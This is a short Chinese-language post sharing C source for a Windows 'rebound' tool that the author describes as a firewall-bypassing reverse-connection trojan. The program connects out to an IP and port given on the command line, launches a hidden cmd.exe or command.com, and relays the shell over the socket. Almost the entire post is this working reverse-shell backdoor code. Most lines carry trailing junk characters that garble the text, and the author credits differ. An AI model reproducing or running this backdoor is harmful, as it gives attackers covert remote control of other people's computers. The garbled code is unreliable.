这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kICZc{} `
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/* ============================== 5l
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Rebound port in Windows NT P.Uz[_&l6
By wind,2006/7 gk.c"$2
===============================*/ \ Rff3$
#include 0>KW94
#include asQXl#4r
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#pragma comment(lib,"wsock32.lib") K9 tuiD+j
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void OutputShell(); fZ)M
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SOCKET sClient; se:lKZZ]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =|_{J"sv
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void main(int argc,char **argv)
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{ RO10$1IW.2
WSADATA stWsaData; sVjM^y24
int nRet; ("
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SOCKADDR_IN stSaiClient,stSaiServer; Oi~]~+2
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if(argc != 3) ^A"TY
{ ci~pM<+
printf("Useage:\n\rRebound DestIP DestPort\n"); 00d<V:Aoy
return; DL:wiQ
} B- `,h pp
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0s#`H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?%Pd:~4D
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stSaiClient.sin_family = AF_INET; D:yj#&I
stSaiClient.sin_port = htons(0); (E.,kcAJ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); OE4hGxG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7@@,4_q E
{ l(CMP!mY
printf("Bind Socket Failed!\n"); ;Uxr+,x~
return; qek[p_7
} 4Sq[I
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stSaiServer.sin_family = AF_INET; 4)i(`/U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >%o\Ue
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); et$VR:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /I>o6 CI
{ {+&qC\YF
printf("Connect Error!"); ('u\rc2R
return; {xGM_vH1
} *b@YoQe3!
OutputShell();
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} IJ`%Zh{f
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void OutputShell() !((J-:=
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char szBuff[1024]; #EO@<>I
SECURITY_ATTRIBUTES stSecurityAttributes; gq^j-!Q)Q<
OSVERSIONINFO stOsversionInfo; #nv =x&g
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ("7rjQjRz
STARTUPINFO stStartupInfo; P&s-U6
char *szShell; >4.K>U?0FC
PROCESS_INFORMATION stProcessInformation; el;ey Ga
unsigned long lBytesRead; #Pf?.NrTn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~rN:4Q]/
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y$%z]i5
stSecurityAttributes.lpSecurityDescriptor = 0; Br,^4w[Hq
stSecurityAttributes.bInheritHandle = TRUE; e;kH,fHUI3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [vJLj>@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I)B+h8l72<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "\x<Zg;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #'@pL0dj
stStartupInfo.wShowWindow = SW_HIDE; 8{t^< j$n
stStartupInfo.hStdInput = hReadPipe; zree}VqD;5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fnwhkL#8
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GetVersionEx(&stOsversionInfo); :?*|D p1
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switch(stOsversionInfo.dwPlatformId) 0Q]ZS
{ kTjx.
case 1: |A'y|/)#Z
szShell = "command.com"; ~ryB*eZH
break; j`'9;7h M6
default: w6RB|^
szShell = "cmd.exe"; /.{q2]
break; Z/r =4
} .]0u#fz0y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q$|Wxnz
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send(sClient,szMsg,77,0); NM`5hd{
while(1) :oYz=c
{ -/y]'_a
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v `a:Lj
if(lBytesRead) X#|B*t34
{ 7<T1#~w4L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q=,6W:j
send(sClient,szBuff,lBytesRead,0); $y0[AB|V
} k"kGQk4
else V+A9.KoI
{ G<2OL#Y-
lBytesRead=recv(sClient,szBuff,1024,0); S[2uez`
if(lBytesRead<=0) break; ?>p(*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9ff6Apill
} e|t@"MxvC
} X3bPBv
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return; Hd/|f;
}